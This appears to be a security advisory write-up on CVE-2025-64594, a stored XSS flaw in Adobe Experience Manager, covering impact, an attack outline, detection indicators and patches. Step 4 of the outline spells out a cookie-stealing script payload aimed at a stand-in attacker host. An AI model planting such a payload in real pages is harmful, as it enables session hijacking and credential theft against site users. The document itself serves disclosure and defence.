CVE-2025-64594: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64594 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's APSB25-115 security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows malicious JavaScript to execute in a victim's browser within the context of the AEM application, potentially enabling session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. While the CVSS score reflects limited confidentiality and integrity impact (no availability impact), the changed scope indicates the attack can affect resources beyond the attacker's own session. In environments where AEM administrators or privileged users are targeted, the impact could escalate to broader compromise of the AEM platform (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public asset discovery tools.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM account (e.g., a content author account).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in page properties, forms, or content fragments).
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further access or lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM user sessions.
• File System / Repository: Presence of JavaScript payloads stored within AEM JCR repository nodes (e.g., in jcr:content properties of pages or assets); unexpected modifications to page content by low-privileged accounts.
• Process/Browser: Unexpected redirects or pop-ups when browsing AEM-authored pages; browser developer tools showing script execution from inline or injected <script> blocks not part of the original page template.

Adobe has released patches addressing CVE-2025-64594 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises deployments to version 6.5.24.0 or later, and ensure AEM Cloud Service is updated to the 2025.12.0 release or newer. As a general workaround, restrict content authoring permissions to trusted users and implement a Content Security Policy (CSP) to limit the impact of XSS attacks. No vendor-provided temporary workaround script is documented for this specific CVE (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including those addressed in APSB25-115, recommending immediate patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64594 has been identified, consistent with its medium severity rating and lack of public exploit code.